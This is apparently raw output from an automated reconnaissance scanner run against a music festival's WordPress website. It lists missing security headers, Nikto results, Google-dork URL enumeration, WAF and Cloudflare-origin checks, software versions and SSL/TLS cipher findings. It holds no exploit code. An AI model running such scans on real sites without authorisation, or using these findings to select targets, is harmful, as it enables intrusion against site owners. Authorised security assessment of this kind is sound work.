<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.novalisfestival.com/">here</a>.</p>
</body></html>




 + -- ----------------------------=[Checking HTTP Headers]=------------------- -- +
+ -- --=[Checking if X-Content options are enabled on novalisfestival.com... 

+ -- --=[Checking if X-Frame options are enabled on novalisfestival.com... 

+ -- --=[Checking if X-XSS-Protection header is enabled on novalisfestival.com... 

+ -- --=[Checking HTTP methods on novalisfestival.com... 

+ -- --=[Checking if TRACE method is enabled on novalisfestival.com... 

+ -- --=[Checking for META tags on novalisfestival.com... 

+ -- --=[Checking for open proxy on novalisfestival.com... 
      <li>You created a new website record without the current subdomain (for example, <code>www</code>). Return to the control panel to add the current subdomain to the website record and refresh.</li>
      <li>You added a new domain in the control panel but didn&#8217;t create a site record to link it with an application. Create a website record with the control panel and refresh.</li>
      <li>Your website record is set for <span class="caps">HTTPS</span>, but you visited a <span class="caps">HTTP URL</span> (or vice-versa). Open the <span class="caps">URL</span> with the other protocol.</li>
      <li>You tried to access your website by <span class="caps">IP</span> address. Access the website by domain name instead.</li>
      <li>There is a problem with your account. Check the control panel for unresolved support tickets and check your email for recent messages from support@webfaction.com.</li>
    </ul>
    <p>For more details, please see <a href="http://docs.webfaction.com/software/general.html#error-site-not-configured">Error: Site not configured</a>.</p>
    <p id="outro">WebFaction provides modern hosting with friendly customer support. Visit our <a href="http://www.webfaction.com/">main website</a> for more information.</p>
  </body>
</html>

+ -- --=[Enumerating software on novalisfestival.com... 
Server: nginx

+ -- --=[Checking if Strict-Transport-Security is enabled on novalisfestival.com... 

+ -- --=[Checking for Flash cross-domain policy on novalisfestival.com... 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.novalisfestival.com/crossdomain.xml">here</a>.</p>
</body></html>

+ -- --=[Checking for Silverlight cross-domain policy on novalisfestival.com... 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.novalisfestival.com/clientaccesspolicy.xml">here</a>.</p>
</body></html>

+ -- --=[Checking for HTML5 cross-origin resource sharing on novalisfestival.com... 

+ -- --=[Retrieving robots.txt on novalisfestival.com... 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.novalisfestival.com/robots.txt">here</a>.</p>
</body></html>

+ -- --=[Retrieving sitemap.xml on novalisfestival.com... 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.novalisfestival.com/sitemap.xml">here</a>.</p>
</body></html>

+ -- --=[Checking cookie attributes on novalisfestival.com... 

+ -- --=[Checking for ASP.NET Detailed Errors on novalisfestival.com... 


 + -- ----------------------------=[Running Web Vulnerability Scan]=---------- -- +
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          185.119.174.103
+ Target Hostname:    novalisfestival.com
+ Target Port:        80
+ Start Time:         2018-01-05 12:52:57 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: http://www.novalisfestival.com/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /, fields: 0x588be613 0xcd2
+ 7445 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2018-01-05 13:05:54 (GMT-5) (777 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
 + -- ----------------------------=[Saving Web Screenshots]=------------------ -- +
[+] Screenshot saved to /usr/share/sniper/loot/screenshots/novalisfestival.com-port80.jpg
 + -- ----------------------------=[Running Google Hacking Queries]=--------------------- -- +
 + -- ----------------------------=[Running InUrlBR OSINT Queries]=---------- -- +

    _____  .701F. .iBR.   .7CL. .70BR.   .7BR. .7BR'''Cq.   .70BR.      .1BR'''Yp, .8BR'''Cq.
   (_____)   01     01N.    C     01       C     01   .01.    01          01    Yb   01   .01.
   (() ())   01     C YCb   C     01       C     01   ,C9     01          01    dP   01   ,C9
    \   /    01     C  .CN. C     01       C     0101dC9      01          01'''bg.   0101dC9
     \ /     01     C   .01.C     01       C     01  YC.      01      ,   01    .Y   01  YC.
     /=\     01     C     Y01     YC.     ,C     01   .Cb.    01     ,C   01    ,9   01   .Cb.
    [___]  .J01L. .JCL.    YC      .b0101d'.   .J01L. .J01. .J01010101C .J0101Cd9  .J01L. .J01./ 2.1

__[ ! ] Neither war between hackers, nor peace for the system.
__[ ! ] http://blog.inurl.com.br
__[ ! ] http://fb.com/InurlBrasil
__[ ! ] http://twitter.com/@googleinurl
__[ ! ] http://github.com/googleinurl
__[ ! ] Current PHP version::[ 7.0.26-1 ]
__[ ! ] Current script owner::[ root ]
__[ ! ] Current uname::[ Linux Kali 4.14.0-kali1-amd64 #1 SMP Debian 4.14.2-1kali1 (2017-12-04) x86_64 ]
__[ ! ] Current pwd::[ /usr/share/sniper ]
__[ ! ] Help: php inurlbr.php --help
------------------------------------------------------------------------------------------------------------------------

[ ! ] Starting SCANNER INURLBR 2.1 at [05-01-2018 14:22:46]
[ ! ] legal disclaimer: Usage of INURLBR for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program

[ INFO ][ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-novalisfestival.com.txt  ]
[ INFO ][ DORK ]::[ site:novalisfestival.com ]
[ INFO ][ SEARCHING ]:: {
[ INFO ][ ENGINE ]::[ GOOGLE - www.google.co.ma ]

[ INFO ][ SEARCHING ]:: 
-[:::]
[ INFO ][ ENGINE ]::[ GOOGLE API ]

[ INFO ][ SEARCHING ]:: 
-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]
[ INFO ][ ENGINE ]::[ GOOGLE_GENERIC_RANDOM - www.google.is ID: 006688160405527839966:yhpefuwybre ]

[ INFO ][ SEARCHING ]:: 
-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]

[ INFO ][ TOTAL FOUND VALUES ]:: [ 23 ]


 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 0 / 23 ]-[14:22:58] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 1 / 23 ]-[14:22:58] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?page_id=47 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 2 / 23 ]-[14:23:00] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?page_id=499 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 3 / 23 ]-[14:23:01] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?cat=4 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 4 / 23 ]-[14:23:02] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?p=1 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 5 / 23 ]-[14:23:03] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?p=590 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 6 / 23 ]-[14:23:04] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?p=808 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 7 / 23 ]-[14:23:05] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?author=1 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 8 / 23 ]-[14:23:06] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?p=588 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 9 / 23 ]-[14:23:07] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?p=932 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 10 / 23 ]-[14:23:08] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?cat=1 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 11 / 23 ]-[14:23:09] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?page_id=44 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 12 / 23 ]-[14:23:10] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?page_id=8 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 13 / 23 ]-[14:23:11] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?p=788 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 14 / 23 ]-[14:23:12] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?cat=6 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 15 / 23 ]-[14:23:13] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?page_id=129 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 16 / 23 ]-[14:23:14] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?page_id=42 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 17 / 23 ]-[14:23:15] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?page_id=33 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 18 / 23 ]-[14:23:16] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?page_id=37 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 19 / 23 ]-[14:23:17] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?page_id=28 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 20 / 23 ]-[14:23:18] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/?page_id=40 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 21 / 23 ]-[14:23:19] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/wp-content/uploads/2017/11/Program_Novalis_2017.pdf ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 22 / 23 ]-[14:23:20] [ - ] 
|_[ + ] Target:: [ https://www.novalisfestival.com/wp-content/uploads/2017/01/Program_Novalis_2016.pdf ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: nginx  , IP:2a01:9cc0:0:1:1a:3:0:11c:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

[ INFO ] [ Shutting down ]
[ INFO ] [ End of process INURLBR at [05-01-2018 14:23:20]
[ INFO ] [ TOTAL FILTERED VALUES ]:: [ 0 ]
[ INFO ] [ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-novalisfestival.com.txt  ]
|_________________________________________________________________________________________

\_________________________________________________________________________________________/

 + -- --=[Port 110 closed... skipping.
 + -- --=[Port 111 closed... skipping.
 + -- --=[Port 135 closed... skipping.
 + -- --=[Port 139 closed... skipping.
 + -- --=[Port 161 closed... skipping.
 + -- --=[Port 162 closed... skipping.
 + -- --=[Port 389 closed... skipping.
 + -- --=[Port 443 opened... running tests...
 + -- ----------------------------=[Checking for WAF]=------------------------ -- +

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking https://novalisfestival.com
Generic Detection results:
No WAF detected by the generic detection
Number of requests: 13

 + -- ----------------------------=[Checking Cloudflare]=--------------------- -- +
   ____ _                 _ _____     _ _
  / ___| | ___  _   _  __| |  ___|_ _(_) |
 | |   | |/ _ \| | | |/ _` | |_ / _` | | |
 | |___| | (_) | |_| | (_| |  _| (_| | | |
  \____|_|\___/ \__,_|\__,_|_|  \__,_|_|_|
    v1.0.1                      by m0rtem


[14:23:28] Initializing CloudFail - the date is: 05/01/2018
[14:23:28] Fetching initial information from: novalisfestival.com...
[14:23:28] No ipout file found, fetching data
[14:23:28] Just checking for updates, please wait...
[14:23:28] Updating CloudFlare subnet...
[14:23:28] Updating Crimeflare database...
[14:24:56] ipout file created
[14:24:56] Server IP: 185.119.174.103
[14:24:56] Testing if novalisfestival.com is on the Cloudflare network...
[14:24:56] novalisfestival.com is not part of the Cloudflare network, quitting...
 + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
https://novalisfestival.com [301 Moved Permanently] HTTPServer[nginx], IP[185.119.174.103], RedirectLocation[http://www.novalisfestival.com/], Title[301 Moved Permanently], nginx
http://www.novalisfestival.com/ [301 Moved Permanently] HTTPServer[nginx], IP[185.119.174.103], RedirectLocation[https://www.novalisfestival.com/], Title[301 Moved Permanently], nginx
https://www.novalisfestival.com/ [200 OK] Email[info@novalisfestival.com], HTML5, HTTPServer[nginx], IP[185.119.174.103], JQuery[1.12.4], Lightbox, MetaGenerator[WordPress 4.9.1], PoweredBy[WordPress], Script[text/javascript], Title[NOVALIS MUSIC + art festival &#8211; 07.07. &#8211; 14.07.2018], UncommonHeaders[link], WordPress[4.9.1], nginx

 + -- ----------------------------=[Gathering SSL/TLS Info]=------------------ -- +



 AVAILABLE PLUGINS
 -----------------

  PluginHSTS
  PluginHeartbleed
  PluginSessionRenegotiation
  PluginChromeSha1Deprecation
  PluginCompression
  PluginSessionResumption
  PluginCertInfo
  PluginOpenSSLCipherSuites



 CHECKING HOST(S) AVAILABILITY
 -----------------------------

   novalisfestival.com:443             => 2a01:9cc0:0:1:1a:3:0:11c:443



 SCAN RESULTS FOR NOVALISFESTIVAL.COM:443 - 2A01:9CC0:0:1:1A:3:0:11C:443
 -----------------------------------------------------------------------

  * Deflate Compression:
      OK - Compression disabled

  * Session Renegotiation:
      Client-initiated Renegotiations:   OK - Rejected
      Secure Renegotiation:              OK - Supported

  * Certificate - Content:
      SHA1 Fingerprint:                  139a811cd4e10a2cdf809f40994ddebbe4da53f9
      Common Name:                       novalisfestival.com
      Issuer:                            Let's Encrypt Authority X3
      Serial Number:                     03D9F8474A6A62FF13E8B4C16DE207DBA0F0
      Not Before:                        Oct  8 08:51:32 2017 GMT
      Not After:                         Jan  6 08:51:32 2018 GMT
      Signature Algorithm:               sha256WithRSAEncryption
      Public Key Algorithm:              rsaEncryption
      Key Size:                          4096 bit
      Exponent:                          65537 (0x10001)
      X509v3 Subject Alternative Name:   {'DNS': ['novalisfestival.com', 'www.novalisfestival.com']}

  * Certificate - Trust:
      Hostname Validation:               OK - Subject Alternative Name matches
      Google CA Store (09/2015):         FAILED - Certificate is NOT Trusted: unable to get local issuer certificate
      Java 6 CA Store (Update 65):       OK - Certificate is trusted
      Microsoft CA Store (09/2015):      OK - Certificate is trusted
      Mozilla NSS CA Store (09/2015):    OK - Certificate is trusted
      Apple CA Store (OS X 10.10.5):     OK - Certificate is trusted
      Certificate Chain Received:        ['novalisfestival.com', "Let's Encrypt Authority X3"]

  * Certificate - OCSP Stapling:
      NOT SUPPORTED - Server did not send back an OCSP response.

  * Session Resumption:
      With Session IDs:                  OK - Supported (5 successful, 0 failed, 0 errors, 5 total attempts).
      With TLS Session Tickets:          OK - Supported

  * SSLV2 Cipher Suites:
      Server rejected all cipher suites.

  * SSLV3 Cipher Suites:
      Server rejected all cipher suites.



 SCAN COMPLETED IN 1.95 S
 ------------------------
Version: 1.11.10-static
OpenSSL 1.0.2-chacha (1.0.2g-dev)

Testing SSL server novalisfestival.com on port 443 using SNI name novalisfestival.com

  TLS Fallback SCSV:
Server supports TLS Fallback SCSV

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression disabled

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

  Supported Server Cipher(s):
Preferred TLSv1.2  128 bits  ECDHE-RSA-AES128-GCM-SHA256   Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-GCM-SHA384   Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-GCM-SHA256     DHE 2048 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-GCM-SHA384     DHE 2048 bits
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA256       Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA384       Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA256         DHE 2048 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA            DHE 2048 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA256         DHE 2048 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA            DHE 2048 bits
Accepted  TLSv1.2  128 bits  AES128-GCM-SHA256
Accepted  TLSv1.2  256 bits  AES256-GCM-SHA384
Accepted  TLSv1.2  128 bits  AES128-SHA256
Accepted  TLSv1.2  256 bits  AES256-SHA256
Accepted  TLSv1.2  128 bits  AES128-SHA
Accepted  TLSv1.2  256 bits  AES256-SHA
Accepted  TLSv1.2  256 bits  DHE-RSA-CAMELLIA256-SHA       DHE 2048 bits
Accepted  TLSv1.2  256 bits  CAMELLIA256-SHA
Accepted  TLSv1.2  128 bits  DHE-RSA-CAMELLIA128-SHA       DHE 2048 bits
Accepted  TLSv1.2  128 bits  CAMELLIA128-SHA
Accepted  TLSv1.2  112 bits  DES-CBC3-SHA                 
Preferred TLSv1.1  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.1  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.1  128 bits  DHE-RSA-AES128-SHA            DHE 2048 bits
Accepted  TLSv1.1  256 bits  DHE-RSA-AES256-SHA            DHE 2048 bits
Accepted  TLSv1.1  128 bits  AES128-SHA
Accepted  TLSv1.1  256 bits  AES256-SHA
Accepted  TLSv1.1  256 bits  DHE-RSA-CAMELLIA256-SHA       DHE 2048 bits
Accepted  TLSv1.1  256 bits  CAMELLIA256-SHA
Accepted  TLSv1.1  128 bits  DHE-RSA-CAMELLIA128-SHA       DHE 2048 bits
Accepted  TLSv1.1  128 bits  CAMELLIA128-SHA
Accepted  TLSv1.1  112 bits  DES-CBC3-SHA                 
Preferred TLSv1.0  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.0  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.0  128 bits  DHE-RSA-AES128-SHA            DHE 2048 bits
Accepted  TLSv1.0  256 bits  DHE-RSA-AES256-SHA            DHE 2048 bits
Accepted  TLSv1.0  128 bits  AES128-SHA
Accepted  TLSv1.0  256 bits  AES256-SHA
Accepted  TLSv1.0  256 bits  DHE-RSA-CAMELLIA256-SHA       DHE 2048 bits
Accepted  TLSv1.0  256 bits  CAMELLIA256-SHA
Accepted  TLSv1.0  128 bits  DHE-RSA-CAMELLIA128-SHA       DHE 2048 bits
Accepted  TLSv1.0  128 bits  CAMELLIA128-SHA
Accepted  TLSv1.0  112 bits  DES-CBC3-SHA                 

  SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength:    4096

Subject:  novalisfestival.com
Altnames: DNS:novalisfestival.com, DNS:www.novalisfestival.com
Issuer:   Let's Encrypt Authority X3

Not valid before: Oct  8 08:51:32 2017 GMT
Not valid after:  Jan  6 08:51:32 2018 GMT

###########################################################
    testssl       2.9dev from https://testssl.sh/dev/

      This program is free software. Distribution and
             modification under GPLv2 permitted.
      USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!

       Please file bugs @ https://testssl.sh/bugs/

###########################################################

 Using "OpenSSL 1.0.2-chacha (1.0.2i-dev)" [~183 ciphers]
 on Kali:/usr/share/sniper/plugins/testssl.sh/bin/openssl.Linux.x86_64
 (built: "Jun 22 19:32:29 2016", platform: "linux-x86_64")


 Start 2018-01-05 14:25:31        -->> 185.119.174.103:443 (novalisfestival.com) <<--

 further IP addresses:   2a01:9cc0:0:1:1a:3:0:11c
 rDNS (185.119.174.103): web564.webfaction.com.
 Service detected:       HTTP


 Testing protocols via sockets except SPDY+HTTP2 

 SSLv2      not offered (OK)
 SSLv3      not offered (OK)
 TLS 1      offered
 TLS 1.1    offered
 TLS 1.2    offered (OK)
 TLS 1.3    not offered
 SPDY/NPN   http/1.1 (advertised)
 HTTP2/ALPN http/1.1 (offered)

 Testing ~standard cipher categories 

 NULL ciphers (no encryption)                  not offered (OK)
 Anonymous NULL Ciphers (no authentication)    not offered (OK)
 Export ciphers (w/o ADH+NULL)                 not offered (OK)
 LOW: 64 Bit + DES encryption (w/o export)     not offered (OK)
 Weak 128 Bit ciphers (SEED, IDEA, RC[2,4])    not offered (OK)
 Triple DES Ciphers (Medium)                   offered
 High encryption (AES+Camellia, no AEAD)       offered (OK)
 Strong encryption (AEAD ciphers)              offered (OK)


 Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4 

 PFS is offered (OK)          ECDHE-RSA-AES256-GCM-SHA384
                              ECDHE-RSA-AES256-SHA384 ECDHE-RSA-AES256-SHA
                              DHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES256-SHA256
                              DHE-RSA-AES256-SHA DHE-RSA-CAMELLIA256-SHA
                              ECDHE-RSA-AES128-GCM-SHA256
                              ECDHE-RSA-AES128-SHA256 ECDHE-RSA-AES128-SHA
                              DHE-RSA-AES128-GCM-SHA256 DHE-RSA-AES128-SHA256
                              DHE-RSA-AES128-SHA DHE-RSA-CAMELLIA128-SHA
 Elliptic curves offered:     secp256k1 prime256v1 secp384r1 secp521r1


 Testing server preferences 

 Has server cipher order?     yes (OK)
 Negotiated protocol          TLSv1.2
 Negotiated cipher            ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Cipher order
    TLSv1:     ECDHE-RSA-AES128-SHA ECDHE-RSA-AES256-SHA DHE-RSA-AES128-SHA
               DHE-RSA-AES256-SHA AES128-SHA AES256-SHA DHE-RSA-CAMELLIA256-SHA
               CAMELLIA256-SHA DHE-RSA-CAMELLIA128-SHA CAMELLIA128-SHA
               DES-CBC3-SHA
    TLSv1.1:   ECDHE-RSA-AES128-SHA ECDHE-RSA-AES256-SHA DHE-RSA-AES128-SHA
               DHE-RSA-AES256-SHA AES128-SHA AES256-SHA DHE-RSA-CAMELLIA256-SHA
               CAMELLIA256-SHA DHE-RSA-CAMELLIA128-SHA CAMELLIA128-SHA
               DES-CBC3-SHA
    TLSv1.2:   ECDHE-RSA-AES128-GCM-SHA256 ECDHE-RSA-AES256-GCM-SHA384
               DHE-RSA-AES128-GCM-SHA256 DHE-RSA-AES256-GCM-SHA384
               ECDHE-RSA-AES128-SHA256 ECDHE-RSA-AES128-SHA
               ECDHE-RSA-AES256-SHA384 ECDHE-RSA-AES256-SHA
               DHE-RSA-AES128-SHA256 DHE-RSA-AES128-SHA DHE-RSA-AES256-SHA256
               DHE-RSA-AES256-SHA AES128-GCM-SHA256 AES256-GCM-SHA384
               AES128-SHA256 AES256-SHA256 AES128-SHA AES256-SHA
               DHE-RSA-CAMELLIA256-SHA CAMELLIA256-SHA DHE-RSA-CAMELLIA128-SHA
               CAMELLIA128-SHA DES-CBC3-SHA


 Testing server defaults (Server Hello) 

 TLS extensions (standard)    "server name/#0" "renegotiation info/#65281"
